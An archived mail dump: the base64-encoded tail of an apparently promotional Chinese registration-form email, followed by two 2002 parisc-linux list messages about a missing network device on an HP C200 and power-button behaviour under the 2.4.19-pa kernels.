L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2
YWx1ZT0iutOxscqhIj6607GxyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iyb3O98qhIj7Jvc73yqE8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0ixNrDybnFIj7E2sPJucU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iwcnE/sqhIj7BycT+yqE8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
vKrB1sqhIj68qsHWyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbiB2YWx1ZT0iutrB+r2tyqEiPrrawfq9rcqhPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsnPuqPK0CI+yc+6o8rQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgIDxvcHRpb24gdmFsdWU9Ir2ty9XKoSI+va3L1cqhPC9vcHRpb24+
DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ItXj
va3KoSI+1eO9rcqhPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9IrCyu9XKoSI+sLK71cqhPC9vcHRpb24+DQog
ICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IjM1Ij64
o72oyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9w
dGlvbiB2YWx1ZT0iuKO9qMqhIj69rc73yqE8L29wdGlvbj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iyb22q8qhIj7Jvbar
yqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlv
biB2YWx1ZT0iutPEz8qhIj6608TPyqE8L29wdGlvbj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iuv7Ez8qhIj66/sTPyqE8
L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2
YWx1ZT0iueO2q8qhIj6547aryqE8L29wdGlvbj4NCiAgICAgICAgICAgICAg
ICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iuePO98qhIj654873yqE8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0iuqPEz8qhIj66o8TPyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAg
ICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iy8S0qMqhIj7LxLSoyqE8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
ufPW3cqhIj6589bdyqE8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbiB2YWx1ZT0i1MbEz8qhIj7UxsTPyqE8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0izvey
2NfU1s7H+CI+zvey2NfU1s7H+Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJws73yqEiPsnCzvfKoTwvb3B0
aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVl
PSK4ysvgyqEiPrjKy+DKoTwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAg
ICAgICAgICA8b3B0aW9uIHZhbHVlPSLH4LqjyqEiPsfguqPKoTwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLE
/s/Eu9jX5dfU1s7H+CI+xP7PxLvY1+XX1NbOx/g8L29wdGlvbj4NCiAgICAg
ICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i1tjH7MrQIj7W
2MfsytA8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9w
dGlvbiB2YWx1ZT0iuv6xsSI+uv6xsTwvb3B0aW9uPg0KICAgICAgICAgICAg
ICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLQwr2uIj7Qwr2uPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsyozeUiPsyozeU8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAg
IDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAg
ICAgICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0
cj4gDQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiAN
CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij61
57uwo7o8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAg
ICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAg
ICAgIDx0ZCB3aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAg
ICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idGVsZXBob25lIiBtYXhsZW5n
dGg9IjIwIj4NCiAgICAgICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAg
ICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+
IA0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1Ij4gDQog
ICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJyaWdodCI+tKvV
5qO6PGZvbnQgY29sb3I9IiNGRjAwMDAiPio8L2ZvbnQ+PC9kaXY+DQogICAg
ICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAg
ICA8dGQgd2lkdGg9IjM0MCI+IA0KICAgICAgICAgICAgICAgICAgICAgICAg
PGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImZheCIgbWF4bGVuZ3RoPSIyMCI+
DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAg
ICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAg
ICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAg
ICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPkVtYWlso7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iZW1haWwiIG1heGxlbmd0aD0iMzAiPg0KICAg
ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg
IDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAg
ICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiANCiAgICAgICAgICAgICAg
ICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij65q8u+19y+rcDto7o8Zm9u
dCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAgICAgICAg
ICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAgIDx0ZCB3
aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQg
dHlwZT0idGV4dCIgbmFtZT0iY29tX21hbmFnZXIiIG1heGxlbmd0aD0iMjAi
Pg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAg
ICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAg
ICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiANCiAgICAgICAg
ICAgICAgICAgICAgICAgIDxkaXYgYWxpZ249InJpZ2h0Ij6yv8PFuLrU8MjL
o7o8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+KjwvZm9udD48L2Rpdj4NCiAgICAg
ICAgICAgICAgICAgICAgICA8L3RkPg0KICAgICAgICAgICAgICAgICAgICAg
IDx0ZCB3aWR0aD0iMzQwIj4gDQogICAgICAgICAgICAgICAgICAgICAgICA8
aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVwX21hbmFnZXIiIG1heGxlbmd0
aD0iMjAiPg0KICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAg
ICAgICAgICAgICAgIDwvdHI+DQogICAgICAgICAgICAgICAgICAgIDx0cj4g
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMjUiPiZuYnNw
OzwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
IGFsaWduPSJsZWZ0Ij4mbmJzcDs8L3RkPg0KICAgICAgICAgICAgICAgICAg
ICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICA8dHI+IA0KICAgICAgICAg
ICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTI1IiBoZWlnaHQ9IjI3IiA+IA0K
ICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPrmr
y77A4LHwOjxmb250IGNvbG9yPSIjRkYwMDAwIj4qPC9mb250PjwvZGl2Pg0K
ICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIzNDAiIGFsaWduPSJsZWZ0IiBoZWlnaHQ9IjI3
IiA+IDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9IkciIGNoZWNrZWQ+DQogICAg
ICAgICAgICAgICAgICAgICAgICC8xsvju/rA4CA8YnI+DQogICAgICAgICAg
ICAgICAgICAgICAgPC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4N
CiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAg
ICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAg
ICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAg
ICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRo
PSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxzZWxlY3QgbmFt
ZT0iY29tX3R5cGUxIiBzaXplPSIxIj4NCiAgICAgICAgICAgICAgICAgICAg
ICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+DQogICAgICAgICAg
ICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+rfWz/rJzCI+
ILzGy+O7+rfWz/rJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAg
ICAgICA8b3B0aW9uIHZhbHVlPSK0+sDtycwiPrT6wO3JzDwvb3B0aW9uPg0K
ICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLB48rb
ycwiPsHjytvJzDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAg
ICA8b3B0aW9uIHZhbHVlPSLU9ta1t9bP+snMIj7U9ta1t9bP+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsX6t6LJzC+y1rSiyr3JzLOhIj7F+reiycwvsta0osq9ycyzoTwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK8
xsvju/ovweOyv7z+yfqy+snMIj68xsvju/ovweOyv7z+yfqy+snMPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
IsjtvP6/qreiycwvs/aw5snMIj7I7bz+v6q3osnML7P2sObJzDwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLP
tc2zvK+zycnML834wue8r7PJycwiPs+1zbO8r7PJycwvzfjC57yvs8nJzDwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSLTyrXnL82o0bYvzajQxSI+08q15y/NqNG2L82o0MU8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ivMbL
47v6ucvOyi/XydGvuavLviI+vMbL47v6ucvOyi/XydGvuavLvjwvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJJ
U1AvSUNQIj5JU1AvSUNQPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAg
ICAgICAgIDxvcHRpb24gdmFsdWU9IrzGy+O7+sXg0bUvzqzQ3i+8vMr1tcjG
5Mv7vMbL47v6t/7O8SI+vMbL47v6xeDRtS/OrNDeL7y8yvW1yMbky/u8xsvj
u/q3/s7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxv
cHRpb24gdmFsdWU9Isbky/vP+srbycwiPsbky/vP+srbycw8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAg
ICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAgIDwvdHI+
DQogICAgICAgICAgICAgICAgICAgIDx0cj4gDQogICAgICAgICAgICAgICAg
ICAgICAgPHRkIHdpZHRoPSIxMjUiIGhlaWdodD0iMzIiPiZuYnNwOzwvdGQ+
DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAiIGhlaWdo
dD0iMzIiPiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBl
PSJyYWRpbyIgbmFtZT0iZHdsYiIgdmFsdWU9Im9uIj4NCiAgICAgICAgICAg
ICAgICAgICAgICAgILfHvMbL47v6wOAgPC90ZD4NCiAgICAgICAgICAgICAg
ICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiANCiAgICAg
ICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAg
ICAgICAgICAgICAgICAgPGRpdiBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAg
ICAgICAgICAgICAgICAgICAgIDwvdGQ+DQogICAgICAgICAgICAgICAgICAg
ICAgPHRkIHdpZHRoPSIzNDAiPiANCiAgICAgICAgICAgICAgICAgICAgICAg
IDxzZWxlY3QgbmFtZT0iY29tX3R5cGUyIiBzaXplPSIxIj4NCiAgICAgICAg
ICAgICAgICAgICAgICAgICAgPG9wdGlvbj7H69Gh1PHSu8/uPC9vcHRpb24+
DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir3M
0/0vv8bR0C/Rp8r1L8Xg0bUiPr3M0/0vv8bR0C/Rp8r1L8Xg0bU8L29wdGlv
bj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0i
ur2/1S+6vczsL7q9uqMiPrq9v9Uvur3M7C+6vbqjPC9vcHRpb24+DQogICAg
ICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Ir2o1v4vuaSz
zCI+vajW/i+5pLPMPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAg
ICAgIDxvcHRpb24gdmFsdWU9Ir3wyNov0vjQ0LLGzvEiPiC98MjaL9L40NCy
xs7xPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRp
b24gdmFsdWU9Is2218ov1qTIry+3v7XYsvovsaPP1SI+zbbXyi/WpMivL7e/
tdiy+i+xo8/VPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAg
IDxvcHRpb24gdmFsdWU9Ir27zajUy8rkL7mrwrcvzPrCty+5q7myysLStSI+
vbvNqNTLyuQvuavCty/M+sK3L7mrubLKwtK1PC9vcHRpb24+DQogICAgICAg
ICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Isn6svrWxtTsIj7J
+rL61sbU7Dwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8
b3B0aW9uIHZhbHVlPSK41sz6L8qv080vtefBpi+7r7mkL8uuwPsiPrjWzPov
yq/TzS+158GmL7uvuaQvy67A+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAg
ICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLJzNK1o6i0+sDtoaLF+reioaLB
48rbo6kvw7PS1yI+yczStaOotPrA7aGixfq3oqGiwePK26OpL8Oz0tc8L29w
dGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1
ZT0i1f64rrv6udgvyee74c3FzOUiPtX+uK67+rnYL8nnu+HNxczlPC9vcHRp
b24+DQogICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9
ItK9wcYvzsDJ+i/M5dP9Ij7SvcHGL87AyfovzOXT/Twvb3B0aW9uPg0KICAg
ICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLFqcHWxL7T
5i+/89K1Ij7FqcHWxL7T5i+/89K1PC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrP2sOYvueOypS+159OwtefK
0yI+s/aw5i+547KlL7Xn07C158rTPC9vcHRpb24+DQogICAgICAgICAgICAg
ICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9IrfHvMbL47v6ucvOyi/XydGv
L9DFz6K3/s7xIj63x7zGy+O7+rnLzsov18nRry/Qxc+it/7O8Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSK5
q7nYL7njuOYvzsS7r9LVyvUiPrmrudgvueO45i/OxLuv0tXK9Twvb3B0aW9u
Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSLC
w9POL7LN0vsvsfa53S/T6cDW0rUiPsLD084vss3S+y+x9rndL9PpwNbStTwv
b3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZh
bHVlPSK+/LbTL87kvq8vuauwsiI+vvy20y/O5L6vL7mrsLI8L29wdGlvbj4N
CiAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ixuTL
+yI+xuTL+zwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgPC9z
ZWxlY3Q+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAgICAgICAg
ICAgICAgICAgICAgPC90cj4NCiAgICAgICAgICAgICAgICAgICAgPHRyPiAN
CiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEyNSI+Jm5ic3A7
PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjM0MCI+
Jm5ic3A7PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgPC90cj4NCiAgICAg
ICAgICAgICAgICAgICAgPHRyPiANCiAgICAgICAgICAgICAgICAgICAgICA8
dGQgd2lkdGg9IjEyNSI+IA0KICAgICAgICAgICAgICAgICAgICAgICAgPGRp
diBhbGlnbj0icmlnaHQiPjwvZGl2Pg0KICAgICAgICAgICAgICAgICAgICAg
IDwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzNDAi
PiANCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1p
dCB2YWx1ZT0i16IgsuEiIGlkPXN1Ym1pdDIgbmFtZT1yZWcyIHN0eWxlPSJi
YWNrZ3JvdW5kLWNvbG9yOiByZ2IoMjM4LDIzOCwyMzgpOyBjb2xvcjogcmdi
KDAsMCwwKTsgdGV4dC1hbGlnbjogY2VudGVyOyBib3JkZXI6IDFweCBkb3Vi
bGU7aGVpZ2h0OjE4cHgiIG9ubW91c2VvdmVyPSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDg0MkIxJyIgb25tb3VzZW91dD0idGhpcy5zdHlsZS5jb2xvcj0nIzAw
MDAwMCciPg0KICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9
cmVTZXQgdmFsdWU9IsflILP9IiBpZD1yZVNldDIgbmFtZT1jbGVhcjIgc3R5
bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYigyMzgsMjM4LDIzOCk7IGNvbG9y
OiByZ2IoMCwwLDApOyB0ZXh0LWFsaWduOiBjZW50ZXI7IGJvcmRlcjogMXB4
IGRvdWJsZTtoZWlnaHQ6MThweCIgb25tb3VzZW92ZXI9InRoaXMuc3R5bGUu
Y29sb3I9JyMwODQyQjEnIiBvbm1vdXNlb3V0PSJ0aGlzLnN0eWxlLmNvbG9y
PScjMDAwMDAwJyI+DQogICAgICAgICAgICAgICAgICAgICAgPC90ZD4NCiAg
ICAgICAgICAgICAgICAgICAgPC90cj4NCjwvdGFibGU+DQo8L0ZPUk0+DQoJ
PC90ZD4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgYWxpZ249cmlnaHQ+DQo8aW1n
IHNyYz1odHRwOi8vYWQuaGVybWVzLmNvbS5jbi9saW51eHdvcmxkL2ltYWdl
cy9MaW51eDRjb2xvci5qcGcgd2lkdGg9MzQyIGhlaWdodD05NSBib3JkZXI9
MD4NCgk8L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoJPC90ZD4NCgk8L3Ry
Pg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0yIGhlaWdodD00IGJnY29sb3I9IzAw
MDAwMD48L3RkPg0KCTwvdHI+DQo8L3RhYmxlPg0KDQoNCjwvYm9keT4NCjwv
aHRtbD4=

--= Multipart Boundary 0809021101--


From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Update Re: Help! eth0 has disappeared on C200?
Date: Fri, 09 Aug 2002 00:47:04 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <3D534948.9050106@charter.net>
References: <20020730020030.40187.qmail@web12502.mail.yahoo.com> <20020730021040.99A7737E97@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621608 12200 80.91.229.3 (22 Nov 2014 02:00:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:08 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  8 22:46:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dc-mx03.cluster1.charter.net (dc-mx03.cluster1.charter.net [209.225.8.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id D087B482A
	for <parisc-linux@parisc-linux.org>; Thu,  8 Aug 2002 22:46:19 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx03.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 62118866 for parisc-linux@parisc-linux.org; Fri, 09 Aug 2002 00:45:17 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15776

I did some more testing and have found that
this might be some kind of firmware problem.

Here's what I'm getting from the firmware.



Configuration Menu: Enter Command > lc auto

No LAN device.
Configuration Menu: Enter Command >


I think my battery is going dead, could this
be part of the problem? Has the tulip lost
is flash? Is my firmware corrupted? Is there
any hope of restoring the LAN? I'm worried...


Thanks,

- Doug



From - Thu Nov 08 21:24:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] About the 2.4.19-pa0 kernel ...
Date: Fri, 9 Aug 2002 09:06:53 +0200
Lines: 35
Approved: news@gmane.org
Message-ID: <OE210Uz0Q0bu8AHk5Ys000079b5@hotmail.com>
References: <OE52uJnOVHKgGcaJCkj0000c0fb@hotmail.com> <20020808121021.GL17481@charite.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621608 12202 80.91.229.3 (22 Nov 2014 02:00:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:08 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug  9 01:07:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe21.law4.hotmail.com [216.33.148.125])
	by dsl2.external.hp.com (Postfix) with ESMTP id CE1CD482A
	for <parisc-linux@parisc-linux.org>; Fri,  9 Aug 2002 01:07:17 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 9 Aug 2002 00:07:17 -0700
X-Originating-IP: [212.190.158.117]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 09 Aug 2002 07:07:17.0135 (UTC) FILETIME=[6531D9F0:01C23F73]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15777

Thanks for your reply. I'll try a newer kernel version tonight.

----- Original Message -----
From: "Ralf Hildebrandt" <Ralf.Hildebrandt@charite.de>
To: "kenneth westelinck" <kennywest1@hotmail.com>
Cc: <parisc-linux@parisc-linux.org>
Sent: Thursday, August 08, 2002 2:10 PM
Subject: Re: [parisc-linux] About the 2.4.19-pa0 kernel ...


> On Tue, Aug 06, 2002 at 09:03:47AM +0200, kenneth westelinck wrote:
>
> > Yesterday I've built the 2.4.19-pa0 kernel and it seems to work fine at
> > first sight (I did a make oldconfig with the config from the
2.4.18-pa56).
> > However, the powerbutton ceased working. It was working fine with the
> > 2.4.18-pa56 kernel. Has anything changed near the code that handles
this?
> > Can someone else with a 712 confirm this behaviour?
>
> The power button on a 712/80 works just fine with 2.4.19-pa2!
>
> --
> Ralf Hildebrandt (Im Auftrag des Referat V A)
Ralf.Hildebrandt@charite.de
> Charite Campus Virchow-Klinikum                 Tel.  +49 (0)30-450
570-155
> Referat V A - Kommunikationsnetze -             Fax.  +49 (0)30-450
570-916
